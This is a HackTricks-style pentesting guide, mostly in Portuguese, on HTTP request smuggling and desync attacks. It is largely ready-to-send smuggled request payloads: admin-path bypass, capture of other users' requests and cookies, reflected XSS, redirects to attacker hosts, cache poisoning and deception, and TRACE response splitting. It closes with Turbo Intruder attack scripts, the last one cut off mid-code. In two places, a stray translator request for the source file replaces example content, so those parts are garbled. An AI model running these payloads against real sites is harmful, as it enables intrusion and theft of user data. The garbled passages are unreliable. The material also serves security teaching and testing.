42 KiB
HTTP Request Smuggling / HTTP Desync Attack
{{#include ../../banners/hacktricks-training.md}}
O que é
Esta vulnerabilidade ocorre quando uma desyncronization entre os front-end proxies e o servidor back-end permite que um attacker envie um HTTP request que será interpreted como um single request pelos front-end proxies (load balance/reverse-proxy) e as 2 request pelo servidor back-end.
Isso permite que um usuário modify the next request that arrives to the back-end server after his.
Teoria
Se uma mensagem é recebida com ambos os campos de cabeçalho Transfer-Encoding e Content-Length, este último MUST ser ignorado.
Content-Length
O cabeçalho de entidade Content-Length indica o tamanho do entity-body, em bytes, enviado ao destinatário.
Transfer-Encoding: chunked
O cabeçalho Transfer-Encoding especifica a forma de codificação usada para transferir com segurança o payload body para o usuário.
Chunked significa que grandes dados são enviados em uma série de chunks
Realidade
O Front-End (um load-balance / Reverse Proxy) processa o cabeçalho Content-Length ou o Transfer-Encoding e o servidor Back-end processa o outro, provocando uma desyncronization entre os 2 sistemas.
Isso pode ser muito crítico, pois um attacker poderá enviar um request ao reverse proxy que será interpretado pelo servidor back-end como 2 requests diferentes. O perigo desta técnica reside no fato de que o servidor back-end interpretará o 2nd request injected como se tivesse vindo do próximo cliente e o real request desse cliente será parte do injected request.
Particularidades
Lembre-se que em HTTP um caractere de nova linha é composto por 2 bytes:
- Content-Length: Este header usa um número decimal para indicar o número de bytes do body do request. O body é esperado terminar no último caractere; uma nova linha não é necessária no fim do request.
- Transfer-Encoding: Este header usa no body um número hexadecimal para indicar o número de bytes do próximo chunk. O chunk deve terminar com uma nova linha mas essa nova linha não é contabilizada pelo indicador de tamanho. Este método de transferência deve terminar com um chunk de tamanho 0 seguido por 2 novas linhas:
0 - Connection: Com base na minha experiência, é recomendado usar
Connection: keep-aliveno primeiro request do request Smuggling.
Exemplos Básicos
Tip
Ao tentar explorar isso com Burp Suite desative
Update Content-LengtheNormalize HTTP/1 line endingsno repeater porque alguns gadgets abusam de newlines, carriage returns e content-lengths malformados.
HTTP request smuggling attacks são criados enviando requests ambíguos que exploram discrepâncias em como front-end e back-end interpretam os headers Content-Length (CL) e Transfer-Encoding (TE). Esses ataques podem se manifestar de diferentes formas, principalmente como CL.TE, TE.CL e TE.TE. Cada tipo representa uma combinação única de como front-end e back-end priorizam esses headers. As vulnerabilidades surgem quando os servidores processam o mesmo request de maneiras diferentes, levando a resultados inesperados e potencialmente maliciosos.
Exemplos Básicos de Tipos de Vulnerabilidade
Tip
À tabela anterior você deve adicionar a técnica TE.0, similar à técnica CL.0 mas usando Transfer-Encoding.
CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
-
Front-End (CL): Processa o request com base no header
Content-Length. -
Back-End (TE): Processa o request com base no header
Transfer-Encoding. -
Cenário de Ataque:
-
O attacker envia um request onde o valor do header
Content-Lengthnão corresponde ao comprimento real do conteúdo. -
O front-end encaminha o request inteiro para o back-end, baseado no valor do
Content-Length. -
O back-end processa o request como chunked devido ao header
Transfer-Encoding: chunked, interpretando os dados remanescentes como um request subsequente separado. -
Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo: x
TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
-
Front-End (TE): Processa o request com base no header
Transfer-Encoding. -
Back-End (CL): Processa o request com base no header
Content-Length. -
Cenário de Ataque:
-
O attacker envia um request chunked onde o tamanho do chunk (
7b) e o comprimento real do conteúdo (Content-Length: 4) não coincidem. -
O front-end, honrando o
Transfer-Encoding, encaminha o request inteiro para o back-end. -
O back-end, respeitando o
Content-Length, processa apenas a parte inicial do request (7bbytes), deixando o restante como parte de um request subsequente não intencional. -
Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
x=
0
TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
-
Servers: Ambos suportam
Transfer-Encoding, mas um pode ser enganado a ignorá-lo via obfuscação. -
Cenário de Ataque:
-
O attacker envia um request com headers
Transfer-Encodingobfuscados. -
Dependendo de qual servidor (front-end ou back-end) não reconhece a obfuscação, pode ser explorada uma vulnerabilidade CL.TE ou TE.CL.
-
A parte não processada do request, como vista por um dos servidores, torna-se parte de um request subsequente, levando ao smuggling.
-
Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
CL.CL Scenario (Content-Length used by both Front-End and Back-End)
- Ambos os servidores processam o request com base exclusivamente no header
Content-Length. - Este cenário tipicamente não leva a smuggling, já que há alinhamento em como ambos interpretam o comprimento do request.
- Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Normal Request
CL.0 Scenario
- Refere-se a cenários onde o header
Content-Lengthestá presente e possui um valor diferente de zero, indicando que o body do request tem conteúdo. O back-end ignora o headerContent-Length(tratado como 0), mas o front-end o parseia. - É crucial para entender e criar ataques de smuggling, pois influencia como os servidores determinam o fim de um request.
- Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Non-Empty Body
TE.0 Scenario
- Igual ao anterior, mas usando TE.
- Técnica reported here
- Example:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
Quebrando o servidor web
Esta técnica também é útil em cenários onde é possível quebrar um servidor web enquanto lê os dados HTTP iniciais mas sem fechar a conexão. Desta forma, o body da requisição HTTP será considerado a próxima requisição HTTP.
Por exemplo, como explicado em este writeup, no Werkzeug era possível enviar alguns caracteres Unicode e isso faria o servidor quebrar. Entretanto, se a conexão HTTP foi criada com o header Connection: keep-alive, o body da requisição não será lido e a conexão permanecerá aberta, então o body da requisição será tratado como a próxima requisição HTTP.
Forçando via hop-by-hop headers
Abusando de hop-by-hop headers, você pode instruir o proxy a remover o header Content-Length ou Transfer-Encoding, permitindo que um HTTP request smuggling seja explorado.
Connection: Content-Length
Para mais informações sobre hop-by-hop headers visite:
{{#ref}} ../abusing-hop-by-hop-headers.md {{#endref}}
Encontrando HTTP Request Smuggling
Identificar vulnerabilidades de HTTP request smuggling pode frequentemente ser feito usando técnicas de temporização, que dependem de observar quanto tempo o servidor leva para responder a requisições manipuladas. Essas técnicas são particularmente úteis para detectar vulnerabilidades CL.TE e TE.CL. Além desses métodos, existem outras estratégias e ferramentas que podem ser usadas para encontrar tais vulnerabilidades:
Encontrando vulnerabilidades CL.TE usando técnicas de temporização
-
Método:
-
Envie uma requisição que, se a aplicação for vulnerável, fará com que o servidor back-end espere por dados adicionais.
-
Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
-
Observação:
-
O servidor front-end processa a requisição com base em
Content-Lengthe corta a mensagem prematuramente. -
O servidor back-end, esperando uma mensagem chunked, aguarda o próximo chunk que nunca chega, causando um atraso.
-
Indicadores:
-
Timeouts ou atrasos longos na resposta.
-
Receber um erro 400 Bad Request do servidor back-end, às vezes com informações detalhadas do servidor.
Encontrando vulnerabilidades TE.CL usando técnicas de temporização
-
Método:
-
Envie uma requisição que, se a aplicação for vulnerável, fará com que o servidor back-end espere por dados adicionais.
-
Exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
- Observação:
- O servidor front-end processa a requisição com base em
Transfer-Encodinge encaminha a mensagem inteira. - O servidor back-end, esperando uma mensagem baseada em
Content-Length, aguarda dados adicionais que nunca chegam, causando um atraso.
Outros métodos para encontrar vulnerabilidades
- Análise de Resposta Diferencial:
- Envie versões levemente diferentes de uma requisição e observe se as respostas do servidor diferem de forma inesperada, indicando uma discrepância de parsing.
- Uso de Ferramentas Automatizadas:
- Ferramentas como a extensão 'HTTP Request Smuggler' do Burp Suite podem testar automaticamente essas vulnerabilidades enviando várias formas de requisições ambíguas e analisando as respostas.
- Testes de variação de Content-Length:
- Envie requisições com valores de
Content-Lengthvariados que não correspondem ao comprimento real do conteúdo e observe como o servidor lida com tais discrepâncias. - Testes de variação de Transfer-Encoding:
- Envie requisições com cabeçalhos
Transfer-Encodingofuscados ou malformados e monitore como front-end e back-end respondem de maneira diferente a tais manipulações.
Teste de vulnerabilidade de HTTP Request Smuggling
Após confirmar a eficácia das técnicas de temporização, é crucial verificar se as requisições do cliente podem ser manipuladas. Um método simples é tentar poisoning suas requisições, por exemplo, fazendo com que uma requisição para / retorne um 404. Os exemplos CL.TE e TE.CL discutidos anteriormente em Basic Examples demonstram como poisonar a requisição de um cliente para provocar uma resposta 404, apesar do cliente tentar acessar um recurso diferente.
Considerações-chave
Ao testar request smuggling interferindo em outras requisições, tenha em mente:
- Conexões de Rede distintas: As requisições "attack" e "normal" devem ser enviadas por conexões de rede separadas. Utilizar a mesma conexão para ambas não valida a presença da vulnerabilidade.
- URL e parâmetros consistentes: Procure usar URLs e nomes de parâmetros idênticos para ambas as requisições. Aplicações modernas frequentemente roteiam requisições para servidores back-end específicos com base na URL e parâmetros. Igualá-los aumenta a probabilidade de ambas as requisições serem processadas pelo mesmo servidor, pré-requisito para um ataque bem-sucedido.
- Tempos e condições de corrida: A requisição "normal", destinada a detectar interferência da requisição "attack", compete com outras requisições concorrentes da aplicação. Portanto, envie a requisição "normal" imediatamente após a requisição "attack". Aplicações ocupadas podem exigir múltiplas tentativas para confirmação conclusiva da vulnerabilidade.
- Desafios de balanceamento de carga: Servidores front-end atuando como load balancers podem distribuir requisições por diversos sistemas back-end. Se as requisições "attack" e "normal" acabarem em sistemas diferentes, o ataque não terá sucesso. Esse aspecto de load balancing pode requerer várias tentativas para confirmar uma vulnerabilidade.
- Impacto não intencional em usuários: Se seu ataque impactar involuntariamente a requisição de outro usuário (não a requisição "normal" que você enviou para detecção), isso indica que seu ataque influenciou outro usuário da aplicação. Testes contínuos podem interromper outros usuários, exigindo uma abordagem cautelosa.
Distinguir artefatos de pipelining do HTTP/1.1 vs request smuggling genuíno
Connection reuse (keep-alive) e pipelining podem facilmente produzir ilusões de "smuggling" em ferramentas de teste que enviam múltiplas requisições no mesmo socket. Aprenda a separar artefatos inofensivos do lado do cliente de um desync real do lado do servidor.
Por que o pipelining cria falsos positivos clássicos
HTTP/1.1 reutiliza uma única conexão TCP/TLS e concatena requisições e respostas no mesmo fluxo. No pipelining, o cliente envia múltiplas requisições sequenciais e depende de respostas na mesma ordem. Um falso-positivo comum é reenviar um payload malformado no estilo CL.0 duas vezes em uma única conexão:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
Por favor envie o conteúdo do arquivo src/pentesting-web/http-request-smuggling/README.md que deseja traduzir (cole o texto aqui).
HTTP/1.1 200 OK
Content-Type: text/html
HTTP/1.1 200 OK
Content-Type: text/plain
User-agent: *
Disallow: /settings
Se o servidor ignorou o malformado Content_Length, não há desync FE↔BE. Com reuse, seu cliente na verdade enviou este byte-stream, que o servidor interpretou como duas requisições independentes:
POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47
GET /robots.txt HTTP/1.1
X: Y
Impacto: nenhum. Você apenas desynced seu cliente do enquadramento do servidor.
Tip
Burp modules that depend on reuse/pipelining: Turbo Intruder with
requestsPerConnection>1, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".
Litmus tests: pipelining or real desync?
- Disable reuse and re-test
- In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid "Send group in sequence".
- In Turbo Intruder, set
requestsPerConnection=1andpipeline=False. - If the behavior disappears, it was likely client-side pipelining, unless you’re dealing with connection-locked/stateful targets or client-side desync.
- HTTP/2 nested-response check
- Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, you’ve proven a backend parsing/desync bug instead of a pure client artifact.
- Partial-requests probe for connection-locked front-ends
- Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse.
- See PortSwigger "Browser‑Powered Desync Attacks" for the connection-locked technique.
- State probes
- Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation).
- Burp "HTTP Request Smuggler" includes a connection‑state probe that automates this.
- Visualize the wire
- Use the Burp "HTTP Hacker" extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests.
Connection‑locked request smuggling (reuse-required)
Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:
- Prove the server-side bug
- Use the HTTP/2 nested-response check, or
- Use partial-requests to show the FE only reuses upstream when the client does.
- Show real impact even if direct cross-user socket abuse is blocked:
- Cache poisoning: poison shared caches via the desync so responses affect other users.
- Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
- Bypass FE controls: smuggle restricted paths/methods past the front-end.
- Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
- Operator workflow
- Reproduce with controlled reuse (Turbo Intruder
requestsPerConnection=2, or Burp Repeater tab group → "Send group in sequence (single connection)"). - Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.
See also connection‑state attacks, which are closely related but not technically smuggling:
{{#ref}} ../http-connection-request-smuggling.md {{#endref}}
Client‑side desync constraints
If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.
For background and end-to-end workflows:
{{#ref}} browser-http-request-smuggling.md {{#endref}}
Tooling to help decide
- HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: precise control over connection reuse via
requestsPerConnection. - Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.
Note
Trate efeitos apenas por reuse como não-problemas a menos que você possa provar server-side desync e anexar impacto concreto (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
Abusing HTTP Request Smuggling
Circumventing Front-End Security via HTTP Request Smuggling
Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing /admin might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.
Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the /admin path which is typically guarded by the front-end proxy:
CL.TE Example
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
x=
No ataque CL.TE, o cabeçalho Content-Length é utilizado para a requisição inicial, enquanto a requisição embutida subsequente utiliza o cabeçalho Transfer-Encoding: chunked. O proxy front-end processa a requisição POST inicial, mas não inspeciona a requisição embutida GET /admin, permitindo acesso não autorizado ao caminho /admin.
TE.CL Exemplo
POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
Por outro lado, no ataque TE.CL, a requisição inicial POST usa Transfer-Encoding: chunked, e a requisição embutida subsequente é processada com base no cabeçalho Content-Length. Semelhante ao ataque CL.TE, o front-end proxy ignora a requisição GET /admin injetada, concedendo inadvertidamente acesso ao caminho restrito /admin.
Revelando reescrita de requisições no front-end
As aplicações frequentemente empregam um front-end server para modificar requisições de entrada antes de encaminhá-las ao back-end server. Uma modificação típica envolve adicionar cabeçalhos, como X-Forwarded-For: <IP of the client>, para repassar o IP do cliente ao back-end. Compreender essas modificações pode ser crucial, pois pode revelar formas de contornar proteções ou descobrir informações ou endpoints ocultos.
Para investigar como um proxy altera uma requisição, localize um parâmetro POST que o back-end ecoa na resposta. Em seguida, construa uma requisição, usando esse parâmetro por último, semelhante à seguinte:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
search=
Nesta estrutura, componentes subsequentes da requisição são anexados após search=, que é o parâmetro refletido na resposta. Essa reflexão exporá os cabeçalhos da requisição subsequente.
É importante alinhar o cabeçalho Content-Length da requisição aninhada com o comprimento real do conteúdo. Começar com um valor pequeno e incrementá-lo gradualmente é recomendável, pois um valor muito baixo truncará os dados refletidos, enquanto um valor muito alto pode fazer com que a requisição gere um erro.
Essa técnica também é aplicável no contexto de uma vulnerabilidade TE.CL, mas a requisição deve terminar com search=\r\n0. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro search.
Este método serve principalmente para entender as modificações da requisição feitas pelo front-end proxy, essencialmente realizando uma investigação autodirigida.
Capturando requisições de outros usuários
É viável capturar as requisições do próximo usuário anexando uma requisição específica como valor de um parâmetro durante uma operação POST. Eis como isso pode ser realizado:
Ao anexar a seguinte requisição como valor de um parâmetro, você pode armazenar a requisição do cliente subsequente:
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
Neste cenário, o comment parameter destina-se a armazenar o conteúdo da seção de comentários de um post em uma página publicamente acessível. Consequentemente, o conteúdo da requisição subsequente aparecerá como um comentário.
No entanto, essa técnica tem limitações. Geralmente, ela captura dados apenas até o delimitador de parâmetro usado na requisição smuggled. Para submissões de formulário URL-encoded, esse delimitador é o caractere &. Isso significa que o conteúdo capturado da requisição do usuário vítima irá parar no primeiro &, que pode até fazer parte da query string.
Além disso, vale notar que essa abordagem também é viável com uma TE.CL vulnerability. Nesses casos, a requisição deve terminar com search=\r\n0. Independentemente dos caracteres de nova linha, os valores serão adicionados ao parâmetro search.
Usando HTTP request smuggling para explorar Reflected XSS
HTTP Request Smuggling pode ser aproveitado para explorar páginas web vulneráveis a Reflected XSS, oferecendo vantagens significativas:
- A interação com os usuários-alvo não é necessária.
- Permite a exploração de XSS em partes da requisição que são normalmente inalcançáveis, como os headers da requisição HTTP.
Em cenários onde um site é suscetível a Reflected XSS através do User-Agent header, o payload a seguir demonstra como explorar essa vulnerabilidade:
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
0
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
A=
Este payload é estruturado para explorar a vulnerabilidade da seguinte forma:
- Iniciando uma requisição
POST, aparentemente típica, com o headerTransfer-Encoding: chunkedpara indicar o início do smuggling. - Seguido por um
0, marcando o fim do corpo da mensagem chunked. - Em seguida, uma requisição
GETsmuggled é introduzida, onde o headerUser-Agenté injetado com um script,<script>alert(1)</script>, disparando o XSS quando o servidor processa essa requisição subsequente.
Ao manipular o header User-Agent através do smuggling, o payload contorna as restrições normais de requisição, explorando assim a vulnerabilidade Reflected XSS de uma forma não convencional, mas eficaz.
HTTP/0.9
Caution
Caso o conteúdo do usuário seja refletido em uma resposta com um
Content-typecomotext/plain, impedindo a execução do XSS. Se o servidor suportar HTTP/0.9 pode ser possível contornar isso!
A versão HTTP/0.9 precedeu o 1.0 e usa apenas o verbo GET e não responde com headers, apenas com o corpo.
Em this writeup, isso foi abusado com um request smuggling e um endpoint vulnerável que irá responder com a entrada do usuário para smugglear uma requisição com HTTP/0.9. O parâmetro que seria refletido na resposta continha uma fake HTTP/1.1 response (with headers and body), então a resposta passou a conter código JS executável válido com um Content-Type de text/html.
Explorando redirecionamentos no site com HTTP Request Smuggling
Aplicações frequentemente redirecionam de uma URL para outra usando o hostname do header Host na URL de redirecionamento. Isso é comum em web servers como Apache e IIS. Por exemplo, solicitar uma pasta sem a barra final resulta em um redirecionamento para incluir a barra:
GET /home HTTP/1.1
Host: normal-website.com
Resulta em:
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
Embora aparentemente inofensivo, esse comportamento pode ser manipulado usando HTTP request smuggling para redirecionar usuários para um site externo. Por exemplo:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
Esta smuggled request poderia fazer com que a próxima requisição de um usuário processada fosse redirecionada para um site controlado pelo atacante:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
Resultados em:
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
Neste cenário, a requisição de um usuário por um arquivo JavaScript é sequestrada. O attacker pode potencialmente comprometer o usuário servindo JavaScript malicioso em resposta.
Explorando Web Cache Poisoning via HTTP Request Smuggling
Web cache poisoning pode ser executado se qualquer componente da infraestrutura front-end armazenar em cache conteúdo, tipicamente para melhorar a performance. Ao manipular a resposta do servidor, é possível poison the cache.
Anteriormente, observamos como as respostas do servidor podiam ser alteradas para retornar um erro 404 (consulte Basic Examples). Da mesma forma, é factível enganar o servidor para entregar o conteúdo de /index.html em resposta a uma requisição por /static/include.js. Consequentemente, o conteúdo de /static/include.js é substituído no cache pelo de /index.html, tornando /static/include.js inacessível aos usuários e potencialmente levando a um Denial of Service (DoS).
Essa técnica se torna particularmente potente se for descoberta uma Open Redirect vulnerability ou se existir um on-site redirect to an open redirect. Vulnerabilidades desse tipo podem ser exploradas para substituir o conteúdo em cache de /static/include.js por um script sob o controle do attacker, permitindo essencialmente um ataque Cross-Site Scripting (XSS) em larga escala contra todos os clientes que requisitarem o /static/include.js atualizado.
Abaixo está uma ilustração de explorar cache poisoning combined with an on-site redirect to open redirect. O objetivo é alterar o conteúdo do cache de /static/include.js para servir código JavaScript controlado pelo attacker:
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
Observe a requisição embutida direcionada para /post/next?postId=3. Essa requisição será redirecionada para /post?postId=4, utilizando o Host header value para determinar o domínio. Alterando o Host header, o atacante pode redirecionar a requisição para seu domínio (on-site redirect to open redirect).
Após um socket poisoning bem-sucedido, uma GET request para /static/include.js deve ser iniciada. Essa requisição será contaminada pela anterior on-site redirect to open redirect e buscará o conteúdo do script controlado pelo atacante.
Em seguida, qualquer requisição para /static/include.js servirá o conteúdo em cache do script do atacante, efetivamente desencadeando um amplo ataque XSS.
Using HTTP request smuggling to perform web cache deception
Qual é a diferença entre web cache poisoning e web cache deception?
- Em web cache poisoning, o atacante faz com que a aplicação armazene conteúdo malicioso no cache, e esse conteúdo é servido a outros usuários da aplicação a partir do cache.
- Em web cache deception, o atacante faz com que a aplicação armazene conteúdo sensível pertencente a outro usuário no cache, e então o atacante recupera esse conteúdo do cache.
O atacante elabora uma smuggled request que recupera conteúdo sensível específico de um usuário. Considere o seguinte exemplo:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`
Se essa smuggled request envenenar uma cache entry destinada a static content (por exemplo, /someimage.png), os victim's sensitive data de /private/messages podem ficar cached sob a cache entry do static content. Consequentemente, o attacker poderia potencialmente recuperar esses cached sensitive data.
Abusing TRACE via HTTP Request Smuggling
In this post sugere que se o server tiver o método TRACE habilitado pode ser possível abusar dele com um HTTP Request Smuggling. Isso acontece porque esse método refletirá qualquer header enviado ao server como parte do body da resposta. Por exemplo:
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
Por favor, cole aqui o conteúdo de src/pentesting-web/http-request-smuggling/README.md que deseja traduzir para o português.
HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115
TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
Um exemplo de como abusar desse comportamento seria primeiro smuggle um HEAD request. Essa request será respondida apenas com os headers de uma GET request (Content-Type entre eles). E smuggle imediatamente após o HEAD um TRACE request, que irá refletir os dados enviados.
Como a resposta do HEAD conterá um header Content-Length, a resposta do TRACE será tratada como o corpo da resposta do HEAD, portanto refletindo dados arbitrários na resposta.
Essa resposta será enviada para a próxima request na conexão, então isso poderia ser usado, por exemplo, em um arquivo JS em cache para injetar código JS arbitrário.
Abusando do TRACE via HTTP Response Splitting
Seguir this post sugere outra maneira de abusar do método TRACE. Como comentado, smuggling um HEAD request e um TRACE request torna possível controlar alguns dados refletidos na resposta ao HEAD request. O comprimento do corpo do HEAD request é basicamente indicado no header Content-Length e é formado pela resposta ao TRACE request.
Portanto, a nova ideia seria que, conhecendo esse Content-Length e os dados presentes na resposta do TRACE, é possível fazer com que a resposta do TRACE contenha uma resposta HTTP válida após o último byte definido pelo Content-Length, permitindo que um atacante controle completamente a request para a próxima resposta (o que poderia ser usado para executar um cache poisoning).
Exemplo:
GET / HTTP/1.1
Host: example.com
Content-Length: 360
HEAD /smuggled HTTP/1.1
Host: example.com
POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
Gerará estas respostas (observe como a resposta HEAD tem um Content-Length fazendo com que a resposta TRACE seja parte do HEAD body e, quando o Content-Length da HEAD termina, uma resposta HTTP válida é smuggled):
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(“arbitrary response”)</script>
Explorando HTTP Request Smuggling com HTTP Response Desynchronisation
Encontrou alguma vulnerabilidade de HTTP Request Smuggling e não sabe como explorá-la? Tente estes outros métodos de exploração:
{{#ref}} ../http-response-smuggling-desync.md {{#endref}}
Outras técnicas de HTTP Request Smuggling
- Browser HTTP Request Smuggling (Client Side)
{{#ref}} browser-http-request-smuggling.md {{#endref}}
- Request Smuggling in HTTP/2 Downgrades
{{#ref}} request-smuggling-in-http-2-downgrades.md {{#endref}}
Turbo intruder scripts
CL.TE
De https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
De: https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
